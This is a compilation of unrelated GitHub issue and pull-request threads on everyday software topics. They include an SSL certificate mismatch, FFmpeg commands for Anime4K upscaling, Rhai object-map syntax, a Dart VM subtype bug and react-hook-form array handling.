Fix janky "sticky" section headings

I have tested it in: Chrome (Mac), Firefox (Mac), IE (Win); that isn't to say that it is 100% perfect.

Thanks, thats much better!
One of the things the semantic sticky did was try to put the header at the top or bottom depending on how close you are to the bottom of the page, but I don't think that ever ended up working all that well.
I'm going to make a small change to not sticky a header if the section is collapsed.


www.spee.ch throws SSL error

Even though we don't advertise the URL as www.spee.ch, someone must have run across it and noticed the SSL error.

None of the common names in the Let's Encrypt certificate match the name that was entered (www.spee.ch). You may receive an error when accessing this site in a web browser.

Basically, your domain name (www.spee.ch) doesn't match the domain name on the certificate.
It may have been registered on a sub or test domain.
You should remove the certificate and install a new one.
Should be fairly straight forward.

This seems like it should be a higher priority
On Thu, Nov 9, 2017 at 9:12 AM, Mark Firth<EMAIL_ADDRESS>wrote:

None of the common names in the Let's Encrypt certificate match the
name that was entered (www.spee.ch). You may receive an error when
accessing this site in a web browser.
Basically, your domain name (www.spee.ch) doesn't match the domain
name on the certificate.
It may have been registered on a sub or test domain.
You should remove the certificate and install a new one.
Should be fairly straight forward.
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/lbryio/spee.ch/issues/233#issuecomment-343165941, or mute
the thread
https://github.com/notifications/unsubscribe-auth/APoYDE5MuQMFIbtGHDpRv7m86HTCYR4Cks5s0whUgaJpZM4QM7fH
.

--
Josh Finer
COO/LBRY

fixed


How do I use this outside of realtime video playback?

Is your feature request related to a problem? Please describe.
I'm looking at the docs and only see them for realtime video playback with MPV and Plex.
I'd like to run this on some old DVDs and upscale with Anime4K-GAN. I find that while Real-ESRGAN looks better, it alters the colors and comes up with its own art style that doesn't match the original. Anime4K-GAN seems to upscale accurate to the source.
Since my source is a DVD, I'll need the 4.1 version as well.
Describe the solution you'd like
I'd like to see docs detailing how I can do this upscale where I don't have to integrate with a player. My Plex server sits in a Linux Docker container, and I don't wanna overload my server CPU (no GPU nor IGP).
Describe alternatives you've considered

Use another upscaler.
Just watch the DVD as-is with whatever scaling my SHIELD or TV uses (yuck).

Additional context
I bought Blu-rays of the original 3 Slayers episodes only to find that they used a horrible upscale.
While they're encoded with high-bitrate AVC, the DVDs have superior quality in a lot of ways. The Blu-rays are so blurry, I can't tell what's going on. I'd like to upscale the DVDs because it's also a distractingly low-res image, and subtitles are very blurry when blown up to 100" from a 480p source. I can move the lossless Blu-ray audio into the resulting MKV file after making an upscale. I'm hoping Anime4K-GAN can fix this for me.

There's Anime4K-GUI if you want a GUI, or you can use FFmpeg to manually apply the Anime4K shader. Replace 'custom_shader_path' with the shaders you want to use.
For CPU encoding:
ffmpeg -y -vsync 0 -i "input.mp4" -init_hw_device vulkan -vf format=yuv420p10,hwupload,libplacebo=w=3840:h=2160:upscaler=ewa_lanczos:custom_shader_path=shaders/Anime4K_ModeA.glsl,hwdownload,format=yuv420p10 "output.mp4"

For NVENC encoding:
ffmpeg -y -vsync 0 -i "input.mp4" -init_hw_device vulkan -vf format=yuv420p10,hwupload,libplacebo=w=3840:h=2160:upscaler=ewa_lanczos:custom_shader_path=shaders/Anime4K_ModeA.glsl,hwdownload,format=yuv420p10 -c:v hevc_nvenc -cq 24 -bf 5 -refs 5 -preset p7 "output.mp4"

My Plex server sits in a Linux Docker container, and I don't wanna overload my server CPU (no GPU nor IGP).

Are you going to use it with Plex? Just FYI, the Plex client app supports Anime4K, I've found this to be much more convenient and efficient than upscaling each episode individually.

Plex Plugin
I'd rather upscale the episodes than use it with Plex. I'm not really sure how the Plex plugin works, but my server runs an Epyc 7313p, and it has no GPU nor native CPU encoder, so I like to avoid any encoding where possible.
And I'm sure I can't just install this plugin on my NVIDIA Shield right? So I'd rather just do it offline and always have the files at maximum quality.
GUI vs CLI
I think the CLI is the right way to go. You gave great commands there, and all I have to do is figure out which shader I wanna use.
The GUI is great though. Nice UI and lots of stuff built-in, but I'm not sure if the shaders include the 4.1 experimental low-res changes nor if they're the ones optimized for my NVIDIA RTX 3090. Not sure if the GPU-optimized shaders even matter when doing offline renders though.
I tried the GUI, and it's a lot simpler overall though :).

I'd rather upscale the episodes than use it with Plex. I'm not really sure how the Plex plugin works, but my server runs an Epyc 7313p, and it has no GPU nor native CPU encoder, so I like to avoid any encoding where possible.

I run my Plex server on a DS923+, which doesn't have a GPU either. The upscaling is done on the client side (Plex app), just like the mpv app.

And I'm sure I can't just install this plugin on my NVIDIA Shield right? So I'd rather just do it offline and always have the files at maximum quality.

I'm pretty sure you could install mpv on NVIDIA Shield since it runs Android. But I'm not sure if it will be able to handle anything higher then the fast shaders. Also, doesn't the NVIDIA Shield also have its own upscaling built-in?

I think the CLI is the right way to go. You gave great commands there, and all I have to do is figure out which shader I wanna use.

Yes, I think it will fit your use case the most. If your goal is to use it outside of real-time video playback.

The GUI is great though. Nice UI and lots of stuff built-in, but I'm not sure if the shaders include the 4.1 experimental low-res changes nor if they're the ones optimized for my NVIDIA RTX 3090. Not sure if the GPU-optimized shaders even matter when doing offline renders though.

They're using the exact same preset as the mpv config, just consolidated. The shaders are not "optimized for" any specific GPU. The Mode A (Fast) preset, for example, mainly uses the Restore (M) shader with other shaders chained together, while Mode A (HQ) uses the VL shader instead of the M shader. This is to make sure that your GPU can keep up with real-time upscaling. So it doesn't matter for post-processing, you can even use higher quality shaders if you want.

Example
Mode A (Fast): Optimized for lower-end GPU
glsl-shaders="~~/shaders/Anime4K_Clamp_Highlights.glsl;~~/shaders/Anime4K_Restore_CNN_M.glsl;~~/shaders/Anime4K_Upscale_CNN_x2_M.glsl;~~/shaders/Anime4K_AutoDownscalePre_x2.glsl;~~/shaders/Anime4K_AutoDownscalePre_x4.glsl;~~/shaders/Anime4K_Upscale_CNN_x2_S.glsl"
Mode A (HQ): Optimized for higher-end GPU
glsl-shaders="~~/shaders/Anime4K_Clamp_Highlights.glsl;~~/shaders/Anime4K_Restore_CNN_VL.glsl;~~/shaders/Anime4K_Upscale_CNN_x2_VL.glsl;~~/shaders/Anime4K_AutoDownscalePre_x2.glsl;~~/shaders/Anime4K_AutoDownscalePre_x4.glsl;~~/shaders/Anime4K_Upscale_CNN_x2_M.glsl"

Thanks!
I'd prefer to use Plex since all my anime is hosted on my NAS and viewed through Plex.
 Too much posterization and artificial sharpening. It's never looked good to me. There's also an "Enhanced", but in my testing, I find that it looks best on "Basic".
In your FFMPEG script, any reason for using yuv420p10 format with 10-bit colors rather than 8-bit colors?
Also, where'd you get that Mode A.glsl? I was hoping to download 4.1 (better for low-res?) and run that on this show since it's 480p, but I can't find any downloads for 4.1 with the Mode A shader.

This list is for MPV right? So that won't work for FFMPEG? Or does it work for FFMPEG, and I just used it wrong?
glsl-shaders="~~/shaders/Anime4K_Clamp_Highlights.glsl;~~/shaders/Anime4K_Restore_CNN_VL.glsl;~~/shaders/Anime4K_Upscale_CNN_x2_VL.glsl;~~/shaders/Anime4K_AutoDownscalePre_x2.glsl;~~/shaders/Anime4K_AutoDownscalePre_x4.glsl;~~/shaders/Anime4K_Upscale_CNN_x2_M.glsl"

Where'd you get that Anime4K_ModeA.glsl file in the ffmpeg script?

This list is for MPV right? So that won't work for FFMPEG? Or does it work for FFMPEG, and I just used it wrong?

Yes, the chain is for mpv only. I got the shaders from Anime4K-GUI, as it's essentially the same preset as mpv. Just easier to use with FFmpeg because it's a single GLSL file.

I was hoping to download 4.1 (better for low-res?) and run that on this show since it's 480p, but I can't find any downloads for 4.1 with the Mode A shader.

I'm not sure what you mean by "4.1", do you mean v4.0.1 release? That's just the latest release. If you want shaders for 480p, then use Mode C. Since sharpening might be too strong for Mode A or B. Check out the Advanced Guide.

In your FFMPEG script, any reason for using yuv420p10 format with 10-bit colors rather than 8-bit colors?

https://yukisubs.files.wordpress.com/2016/10/why_does_10bit_save_bandwidth_-_ateme.pdf

I'd prefer to use Plex since all my anime is hosted on my NAS and viewed through Plex.

Then my suggestion is to install mpv and try running Anime4K on the NVIDIA Shield. If not, the next best solution is to hook up a computer to the TV and run Plex HTPC with Anime4K. The Plex app runs exactly like the TV app, and you can even pair a remote to control it like a normal TV.

Thanks for your help!

There's Anime4K-GUI if you want a GUI, or you can use FFmpeg to manually apply the Anime4K shader. Replace 'custom_shader_path' with the shaders you want to use.
For CPU encoding:
ffmpeg -y -vsync 0 -i "input.mp4" -init_hw_device vulkan -vf format=yuv420p10,hwupload,libplacebo=w=3840:h=2160:upscaler=ewa_lanczos:custom_shader_path=shaders/Anime4K_ModeA.glsl,hwdownload,format=yuv420p10 "output.mp4"

For NVENC encoding:
ffmpeg -y -vsync 0 -i "input.mp4" -init_hw_device vulkan -vf format=yuv420p10,hwupload,libplacebo=w=3840:h=2160:upscaler=ewa_lanczos:custom_shader_path=shaders/Anime4K_ModeA.glsl,hwdownload,format=yuv420p10 -c:v hevc_nvenc -cq 24 -bf 5 -refs 5 -preset p7 "output.mp4"

My Plex server sits in a Linux Docker container, and I don't wanna overload my server CPU (no GPU nor IGP).

Are you going to use it with Plex? Just FYI, the Plex client app supports Anime4K, I've found this to be much more convenient and efficient than upscaling each episode individually.

I get the error bellow with i5-8500 CPU (by CPU encoding you mean only cpu encoding or its GPU on board graphics as well?). Seems like GPU is needed and in my case it is UHD 630 graphics (vulkaninfo works and ffmpeg -init_hw_device list shows vulkan in list). Another pc where there are CPU i7-9700 (without UHD graphics) and GPU 3070 ti it works great with the same .mkv video and shaders... Both OS are Windows.
=> ffmpeg -y -vsync 0 -i "m06.mkv" -init_hw_device vulkan -vf format=yuv420p,hwupload,libplacebo=w=3840:h=2160:upscaler=ewa_lanczos:custom_shader_path=Anime4K_ModeA+A.glsl,hwdownload,format=yuv420p "m06_out.mkv"
[hwupload @ 0000023bff6c7640] A hardware device reference is required to upload frames to.
[Parsed_hwupload_1 @ 0000023bfc56fac0] Query format failed for 'Parsed_hwupload_1': Invalid argument
Error reinitializing filters!
Failed to inject frame into filter network: Invalid argument
Error while processing the decoded data for stream #0:0
[libvorbis @ 0000023bfc5a3080] 39 frames left in the queue on closing
Conversion failed!


Add github CI action

:tada: This PR is included in version 1.0.0 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:


failed to install cia

i am getting the following error when i try to install Pokemon Sun Eur.cia
Failed to install CIA file.
Result code:0xD8E0806A
Level: Permanent (27)
Summary: Invalid argument (7)
Module: AM (32)
Desc: Cert signature or hash check failed (106)
i am using an old 2ds with luma3ds & homebrew on 11.8.x
all other roms installed just fine.
Edit:
forgot to mention that i already redownloaded it. also from different downloadsources. no multidownload, no restart download or anything else.

I would make sure to check that you have enough free space on your SD card and that there aren't any filesystem errors. If possible, it might help to try installing to a different SD card as well. These kinds of errors are coming from the OS, and can have a multitude of causes.

I've the same error. In old 3DS XL.

Can be closed;
SD-Card was broken.


Fix doc on Vector2.cs's / operator

I don't think this one needs much explanation :slightly_smiling_face:

Thanks! And congrats for your first merged Godot contribution :tada:


JSON/parse handling of large integers

I didn't know this but JSON.parse can have rounding errors with large integers.  For the payload_resolve function, we're seeing db/id values that are not the ones that were serialized on the other end.
https://github.com/atomist-skills/skill/blob/main/lib/payload_resolve.ts#L39
We might want to solve this here in the payload_resolve function because it will gradually start to impact more and more of our skills.
Unfortunately, it's been hard to figure out how you're supposed to handle this without encoding large integers as something else.  The integers aren't too large for ECMAScript ... they're just too large for JSON.parse it seems.

@cdupuis @kipz maybe you two can figure out the best solution here.  Have we seen this before?


Query on Embedding_tutorial.ipynb output

Hi DeepSEM team,
I am trying to understand the output from Embedding_tutorial.ipynb
My understanding is that after running the 'embedding' task, I should get a AnnData of the shape:
n_samples x n_hidden
where,
n_samples=no. of samples in my input data, and
n_hidden=opt.n_hidden specified by me in main.py settings
therefore, implying that my input data has been embedded into a lower dimensional (=n_hidden) space.
However, the dimension I am getting in the output is:
n_samples x n_genes
where, n_genes=no. of genes in my input data
This implies that I am not getting a lower-dimensional embedding that I am looking for.
Can you please explain if I am missing something here?
Thanks,
Vivek

The output of deesem is no_sample*no_gene as we assume deepsem can denoise the sc data. we use pca on the output of deepsem. More details can be found in our paper.

Thank you. This is helpful.
One follow-up question:
Is there a way to get the n_samples x n_hidden matrix also if I wish to have a lower-dimensional embedding of my input data?
Thanks,
Vivek

We can not directly get n_samples x n_hidde matrix from DeepSEM. You can use PCA on the output of DeepSEM instead.

Thanks for the clarification.
Best,
Vivek


feature-method-get-latest-media-with-count

Added the feature to get the N count of the last posts of the user on the user_id and count params.
Usage:
get_last_user_medias(user_id=0, count=3)
Return an array of posts id
Example:
[12345,5677,12312]

Great job!
Could you change count -> amount?
and we can simplify the code by changing get_total_user_feed to
def get_total_user_feed(self, user_id, min_timestamp=None):
    return self.get_last_user_feed(user_id, amount=float('inf'), min_timestamp=None)

could you add that too? :)

I believe that users should use two methods, one for parsing all posts, an arc for parsing a certain number of posts. I can fix the code if this is more correct.

I am not sure what you mean exactly. Could you elaborate a bit? :)

Я имел ввиду, что разделить на два метода будет удобнее. Первый будет собирать все посты пользователя, второй будет собирать определенное количество постов.
I meant that it would be more convenient to divide into two methods. The first will collect all posts of the user, the second will collect a certain number of posts.

Thanks for the changes!
I actually meant that you change https://github.com/MaxStik/instabot/blob/ea26b46d347bca08b822e70331daf7feed68b779/instabot/api/api.py#L602 instead of the bot method.
I've changed it now :)

Codecov Report

Merging #564 into master will decrease coverage by 0.09%.
The diff coverage is 23.07%.

@@            Coverage Diff            @@
##           master     #564     +/-   ##
=========================================
- Coverage   38.49%   38.39%   -0.1%
=========================================
  Files          25       25
  Lines        2073     2086     +13
=========================================
+ Hits          798      801      +3
- Misses       1275     1285     +10

Impacted Files
Coverage Δ

instabot/bot/bot_get.py
61.58% <14.28%> (-1.95%)
:arrow_down:

instabot/api/api.py
45.74% <25%> (-0.17%)
:arrow_down:

instabot/bot/bot.py
62.77% <50%> (-0.09%)
:arrow_down:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update da33310...2ac518a. Read the comment docs.

Thanks for your contribution! 👍


Remove 'Housing Preferences' section from partner portal

In the partner portal, when you go to the Edit Listing page, there's a section for Housing Preferences. When you click the 'Add Preferences' button, there's a 'Select Preferences' button you can click, but there's no actual preferences that you can select. This leads to a confusing user experience, so this section should be removed while we work to populate preferences for that section.

closing!


⚠ Bofrost.fr has degraded performance

In ba144b4, Bofrost.fr (https://www.bofrost.fr) experienced degraded performance:

HTTP code: 200
Response time: 1232 ms

Resolved: Bofrost.fr performance has improved in e5dd2ad after 6 minutes.


Update nowplaying.lua

Untested.

Just silently does nothing here.

That's impossible.

I'm running 5.3 so I can't really test either.


Atom does not respect modern permissions (umask+acl) when creating files.

Atom relies solely on umask which is standard on Linux however, ACL is the new standard for permissions and every modern API works with ACL (for the most part) but Atom seems to not notice or care about ACL which results in improper permissions.  Say for example (this is very basic canonical and not actually how ACL works by command):
umask 077
acl u+rwx,og-rwx
~/dev acl u+rwx,og-rwx
~/dev/* acl u+rwx,og+rx

OR
jordon@envygeeks:~/development $ umask && getfacl .
0077
user::rwx
group::r-x
other::r-x
default:user::rwx
default:group::r-x
default:other::r-x

jordon@envygeeks:~/development $ touch hello && ls -l hello
-rw-r--r-- 1 jordon jordon 0 Aug 28 12:11 hello

This results in dev being unopenable by anybody but me but (because of ACL) but allows any file created within that folder to be readable by anybody so that there are no permissions problems when uploading files to servers, repos or other places.  Atom does not respect this and it always results in files being created with the umask and not getfacl's mask.

This is no longer a problem.  Closing.


feat(@fluid-example/ai-collab): Integrate User Avatar into Sample App

Description
This PoC demonstrates the integration of Microsoft's Presence API into an existing AI-powered application. The key objectives include ramping up the current AI app, incorporating the Presence API library, and integrating this functionality to display user presence information. Specifically, this demo will show the avatar of a signed-in Microsoft account on top of the sample AI app's user interface, indicating the user’s online status or availability in real time.
By completing this PoC, we aim to enhance the AI app's user experience with seamless integration of Microsoft's identity and presence services, allowing for personalized interactions based on user status.
Sample
https://github.com/user-attachments/assets/488d88f2-90ce-4c4a-9371-7a89ac3fc931

I am having trouble understanding what the presence code is doing. I tried running the sample locally with tinylicious and I don't see any presence information. Am I doing something wrong?

The presence code is to sync client user's avatar. So if the client is using tinylicious server, there will not be Microsoft account info  and it will use a default user photo showing on the top. otherwise, if it's SPE client, who already signed in Microsoft account. it will retrieve account profile photo and put into presence and the page will re-render and show the new user's avatar on top of the page

Something's still weird... in the recording the first tab is staying at 1 bubble after the other two have been added. I see something similar, sometimes in the second tab as well:

Latest version works fine. Thank you all!!!
https://github.com/user-attachments/assets/fa7f4567-60ff-49c9-b56e-83a436e8c1a0


Supporting wallet v4

Some wallets already deploy wallet V4 which is not supported by the library yet

I just found this closed issue: https://github.com/tonwhales/ton/issues/6
Which points here: https://github.com/tonwhales/ton-contracts/blob/master/src/contracts/WalletV4Contract.ts
What about adding this Wallet file to this repo so we have proper support for v4 wallets? We don't want npm ton to grow stale and right now it cannot work with the latest wallets people deploy

replied in #28


Basic HashMap/Object implementation

This PR is my proposal, which is described in #73.
It adds basic support for an "object like" type, which to Rust is of type HashMap<String, Dynamic>. All keys are strings, and must follow the rules for identifiers currently enforced by the language.
The syntax is as follows:
let myarray = [
    1, 2, 3
];

let emptyarray = [];

let mymap = [:
    first: 1,
    second: 2.0,
    third: "three"
];

let emptymap = [:];

This type is hidden behind a new feature gate, experimental_hashmap, which is disabled by default. Unless explicitly opted in, the code behaves exactly as it does now. Unit tests for the new syntax are provided, and all previous unit tests pass.
The only thing you can do with these maps right now is create them, assign them, and return them. Indexing is not yet supported. The goal was to get feedback before I carried the implementation too much further.
Comments welcome.
cc @schungx @profan

A few considerations:

Choose a different operator pair for the literal?

Something like #[ ... ]# as I suggested in https://github.com/jonathandturner/rhai/issues/117

Is it possible to directly cast a MAP to a custom type?  We know all the property getters and setters for each type, so technically it is possible.

engine.eval::<TestStruct>("let x = [: x:42 ]; x")?;

Technically speaking, we know that TestStruct has a property x which is registered as a setter with a certain type.  And the MAP contains a property called x.  If both types match, then we can downcast the MAP into TestStruct by first creating the struct (there is right now no way to register a default constructor) and then calling each setter.

I would suggest adding a new Token::HashStart mapping to [: without whitespace between so your parsing function can be simplified even more.
In fact, if you do this, it doesn't really matter what HashStart is mapped to (we can change it in the future) and the parsing code does not need to be touched.

I've put in a full implementation for object maps in my fork under the object_maps branch:
https://github.com/schungx/rhai/tree/object_maps

Wow, a full implementation!
I looked it over, @schungx, and it looks good to me. In fact, I'd be willing to close this PR and use your branch instead once I make sure my prototype works with it.
I only chose the [:] syntax because it was the easiest way for me to hook into the parser. I think your ${} syntax looks fine, and at least vaguely reminds me of Perl.

Well, it wasn't too hard as all the mechanisms are already there.  Just need to add a few enum variants, match branches, then leech off the existing code for indexing and dotting.
It was a bit tricky to hijack property access for custom types for map-property access because the code was originally written exclusively with custom types in mind, so all property access gets compiled into getter function calls. In the end the solution was simple: hijack function call resolution instead, detect that we're really trying to get a property off a map, and Bob's our uncle.
I also like the feel of the ${} syntax but I'm a bit concerned whether we'd be shooting ourselves in the foot when later, someday, we'll want to use the $ notation (for strings interpolation maybe?).  I am struggling with myself whether #{} will be a better notation for a "hash" map...

I'll close this PR if you have no objections.

After poking at it for a while, I agree: your version is superior.
Closing in deference to #120.


Fix api-doc not working bugfix

API-Doc is not working because of ref of email is not work correctly.

Signed-off-by: Rinkesh Bhutwala<EMAIL_ADDRESS>

This was resolved by updating the python script to handle lists.


[INFRA] Increase Maven Resolver Transport connection timeout

Why are the changes needed?

To resolve connection timeout when resolving dependency from Maven central's mirror.
The decreased connection timeout by switching the default transporter in Maven 3.9 may cause the problem.

“the default transport in Maven 3.9.0+ is NOT Wagon anymore. ” (https://maven.apache.org/guides/mini/guide-http-settings.html)

"Given the priority of native is higher than wagon, and that starting with Maven 3.9.0 both are present on resolver classpath, native is chosen by default. " (https://maven.apache.org/guides/mini/guide-resolver-transport.html#switching-between-transports)

"The Resolver contains configuration for many aspects, including transport (see the keys prefixed with aether.connector." (https://maven.apache.org/guides/mini/guide-resolver-transport.html)

"To set one of the configuration options from above just use system variables. "(https://maven.apache.org/resolver/configuration.html#set-configuration-from-apache-maven)

https://github.com/apache/maven-wagon/blob/master/wagon-provider-api/src/main/java/org/apache/maven/wagon/Wagon.java#L44
Wagon's default connect timeout is 60000ms (1min)

https://maven.apache.org/resolver/configuration.html
Resolver Transport's default connection timeout: 10000ms (10sec)

How was this patch tested?

[ ] Add some test cases that check the changes thoroughly including negative and positive cases if possible

[ ] Add screenshots for manual tests if appropriate

[ ] Run test locally before make a pull request

cc @yaooqinn @pan3793

Codecov Report

Merging #4692 (847794f) into master (f0615a9) will decrease coverage by 0.11%.
 Consider uploading reports for the commit 9175697 to get more accurate results

@@             Coverage Diff              @@
##             master    #4692      +/-   ##
============================================
- Coverage     57.99%   57.88%   -0.11%
  Complexity       13       13
============================================
  Files           580      580
  Lines         32218    32218
  Branches       4304     4304
============================================
- Hits          18684    18650      -34
- Misses        11749    11775      +26
- Partials       1785     1793       +8

see 11 files with indirect coverage changes
:mega: We’re building smart automated test selection to slash your CI/CD build times. Learn more


[vm] Incorrect subtype test result for generic function type with substitution

In the test added to test a change to the representation of function type parameter types in dart2wasm, some of the cases fail on the VM.
A reduced test containing only the cases failing on the VM is:
import "package:expect/expect.dart";

class A {}

class B {}

class C<T> {
  void y<X extends A>(void Function<Y extends B>(Y) p) {}
  void yr<X extends A>(Y Function<Y extends B>() p) {}

  bool testY() => y is void Function<X extends A>(T);
  bool testYR() => yr is void Function<X extends A>(T);
}

typedef YF = void Function<Y extends B>(Y);
typedef YRF = Y Function<Y extends B>();

main() {
  Expect.isTrue(C<YF>().testY());
  Expect.isTrue(C<YRF>().testYR());
}

All cases give the expected result in dart2js.

Type of y is <Y0 extends A>(dynamic, <F1Y0 extends B>(dynamic, F1Y0) => void) => void. It is tested against <Y0 extends A>(dynamic, <Y0 extends B>(dynamic, Y0) => void) => void.
When testing type of its parameter, an inner function type <F1Y0 extends B>(dynamic, F1Y0) => void against <Y0 extends B>(dynamic, Y0) => void, VM fails to correctly compare type parameter type F1Y0 against Y0. The problem is that type <F1Y0 extends B>(dynamic, F1Y0) => void is created with a parent of the whole function type <Y0 extends A>(dynamic, <F1Y0 extends B>(dynamic, F1Y0) => void) => void. Although it doesn't reference any type parameters of the parent (outer) type, its num_parent_type_arguments is set to 1, so type parameter F1Y0 has base() == index() == 1, while base() and index() of Y0 is 0.
In order to fix this, we may need to check if the inner function type references type parameters of the outer type(s) and adjust/set its num_parent_type_arguments accordingly. We would also need to change all TypeParameter objects created for the inner function type to have correct base()/index().


Improve DX for removing a value from an index in an array

Currently, when using the array syntax. To be able to remove an item at a specific index, you must generate a unique key in an associated array. There is no good way to easily remove a specific index using a generated array.
Really just looking for either direction on how to easily accomplish this or discuss a way to improve the DX.
https://codesandbox.io/s/react-hook-form-array-fields-bwvhf
Expected behavior
Be able to remove an item from an array easily

Thanks @stramel
Do you have any good suggestion on top of your head?

@bluebill1049 I don't have any good suggestions right now. I will try to think about it.

yea I will keep that in mind as well. if anyone has a good idea, feel free to drop in this issue. we can all improve the DX for this particular issue.

@stramel For dynamic form array, I usually use an array of form control object as state to hold input value. When removing an input, we just need to remove the form control object at target index and then perform a re-rendering the rest form control object in array.
For example, in your codesandbox sample:
  const [names, setNames] = useState([{ value: "" }]);

  const onAddPerson = () => setNames(previous => [...previous, { value: "" }]);

  const onChangePerson = idx => {
    return evt => {
      const newData = names.map((p, i) => {
        if (i !== idx) {
          return p;
        }
        return { ...p, value: evt.target && evt.target.value };
      });

      setNames(newData);
    };
  };

  const onRemovePerson = idx => {
    return () => {
      setNames(names.filter((p, i) => i !== idx));
    };
  };

  ...
  // "value" and "onChange" are used to update value in form control object
  {names.map((control, index) => {
          const inputKey = `name[${index}]`;

          return (

                Name {index + 1}

                  <input
                    id={inputKey}
                    name={inputKey}
                    placeholder={"Name " + (index + 1)}
                    value={control.value}
                    onChange={onChangePerson(index)}
                    ref={register}
                  />
                  <button
                    style={{ background: "#ec598f" }}
                    type="button"
                    onClick={onRemovePerson(index)}
                  >
                    X
                  </button>

          );
        })}

Working sample:
https://codesandbox.io/s/react-hook-form-array-fields-24s7p
It's simple and clean enough to me. Hope you feel the same.
Note: I've changed input name attribute in your sample to match the sequence of form array that starts with 0, and only keep the label as index + 1 to avoid wrong submit values. React form hook will set value to form array by using input name attribute with index, if the name attribute is "name[1]", the form array is [null, value of name[1]] because there is no "name[0]".
P.S: There is only one problem when working with form array by using react form hook is that event "input" is always triggered when using recent suggestion input value of browser (autocomplete) and causes a wrong rendering but it's another issue.

P.S: There is only one problem when working with form array by using react form hook is that event "input" is always triggered when using recent suggestion input value of browser (autocomplete) and causes a wrong rendering but it's another issue.

curious to know the detail of this one @leapful

@bluebill1049 When using suggested value form last input of browser, it will trigger event listener of "input" event that is registed in
https://github.com/bluebill1049/react-hook-form/blob/a9409ef0787b263d227ac004d5259feb80ef38dd/src/logic/attachEventListeners.ts#L16
The listener performs validateAndStateUpdate() callback in
https://github.com/bluebill1049/react-hook-form/blob/41374ccf58116a2f446ff47e3be43edaf98409ff/src/useForm.ts#L225
that also triggers a re-rendering.
At this time, the selected value is cleared because input value is not updated to form control object (onChange is not fired for change in text content).
You can re-produce this issue on my codesandbox sample above. Just type a value then submit and refresh the page. After that, click on input field to select suggested value from last input.

thanks @leapful I will followup that issue.

can you provide a codesandbox for this issue? @leapful

i am closing this issue, feel free to re-open if anyone has better suggestion or solution.


Not deleting images

I've specified a BREAD with Image column. It works except for moment of deleting.
When I try to delete the post the image remains in the storage meanwhile it should be removed since it belongs to that post

We have issue templates for a reason, please use them.


Issue with rmm mode (softfloat) in fcvt.s.w and fcvt.s.wu instructions

I compiled whisper with "make SOFT_FLOAT=1".
I ran the following commands
whisper -i --isa imafdc
whisper> poke c mstatus 0x80007800
whisper> poke r x22 0xfee0001b
whisper> poke m 0 0xd00b4c53
whisper> step
#1 0 00000000 d00b4c53 f 18 ffffffffcb8ffff2  fcvt.s.w f24, x22, rmm  +
#1 0 00000000 d00b4c53 c 0003       00000001  fcvt.s.w f24, x22, rmm
whisper> peek f f24
0xffffffffcb8ffff2

The expected result is 0xffffffffcb8ffff3

Hi Urvish,
I am getting the expected results. Please make sure you have the latest
from GitHub.
Joe
On Wed, Aug 18, 2021, 3:27 AM Urvish Patel @.***> wrote:

I compiled whisper with "make SOFT_FLOAT=1".
I ran the following commands
whisper -i --isa imafdc
whisper> poke c mstatus 0x80007800
whisper> poke r x22 0xfee0001b
whisper> poke m 0 0xd00b4c53
whisper> step
#1 0 00000000 d00b4c53 f 18 ffffffffcb8ffff2  fcvt.s.w f24, x22, rmm  +
#1 0 00000000 d00b4c53 c 0003       00000001  fcvt.s.w f24, x22, rmm
whisper> peek f f24
0xffffffffcb8ffff2
The expected result is 0xffffffffcb8ffff3
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/chipsalliance/SweRV-ISS/issues/10, or unsubscribe
https://github.com/notifications/unsubscribe-auth/AASHQX7SUYHHDYMHSADFZ53T5NVHFANCNFSM5CLQRNNQ
.
Triage notifications on the go with GitHub Mobile for iOS
https://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675
or Android
https://play.google.com/store/apps/details?id=com.github.android&utm_campaign=notification-email
.

I updated the makefile. Please try again with latest code from GitHub.
On Wed, Aug 18, 2021, 3:27 AM Urvish Patel @.***> wrote:

I compiled whisper with "make SOFT_FLOAT=1".
I ran the following commands
whisper -i --isa imafdc
whisper> poke c mstatus 0x80007800
whisper> poke r x22 0xfee0001b
whisper> poke m 0 0xd00b4c53
whisper> step
#1 0 00000000 d00b4c53 f 18 ffffffffcb8ffff2  fcvt.s.w f24, x22, rmm  +
#1 0 00000000 d00b4c53 c 0003       00000001  fcvt.s.w f24, x22, rmm
whisper> peek f f24
0xffffffffcb8ffff2
The expected result is 0xffffffffcb8ffff3
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/chipsalliance/SweRV-ISS/issues/10, or unsubscribe
https://github.com/notifications/unsubscribe-auth/AASHQX7SUYHHDYMHSADFZ53T5NVHFANCNFSM5CLQRNNQ
.
Triage notifications on the go with GitHub Mobile for iOS
https://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675
or Android
https://play.google.com/store/apps/details?id=com.github.android&utm_campaign=notification-email
.

Hi Joe,
It is working now with the updated Makefile
Thanks,
Urvish


”Dunărea Mică”, ”Scăpău”, ”Tismana” are listed in the drop-down menu

Description:
When user writes ”Dunărea Mică”, ”Scăpău”, ”Tismana” the locations appear in the drop-down menu next to the comune and the county which is a part according to the law.
Precondition:
The website is up an running.

Step 1
Write in the search bar "Dunărea Mică"

Expected results
The location appears in the drop-down menu as "Sat Dunărea Mică, MEHEDINȚI (Devesel)".

Step 2
Press "x" button.

Expected results
The location was deleted from the search bar.

Step 3
Write in the search bar "Scăpău"

Expected results
The location appears in the drop-down menu as "Sat Scăpău, MEHEDINȚI (Devesel)".

Step 4
Press "x" button.

Expected results
The location was deleted from the search bar.

Step 5
Write in the search bar "Tismana"

Expected results
The location appears in the drop-down menu as "Sat Tismana, MEHEDINȚI (Devesel)".


Shared parental leave with adoption branch

This is a WIP and needs to be merged so It can go to preview for initial fact checks
This flow is an extended version of the pay-leave-for-parents flow
This flow is still in draft state

Pair-reviewed this with Ben and all the changes look reasonable to my knowledge.
LGTM once the tests pass.


Update GameVersionCheck.cs

nothing in the new updates seems to have touched the workings of items stacking updating Game Version to stop the check from happening and throwing the big red box error

Thanks, but managed as part of today's mod release.


jitpack.io doesn't have the latest version?

I followed the instructions to integrate the api into my project.
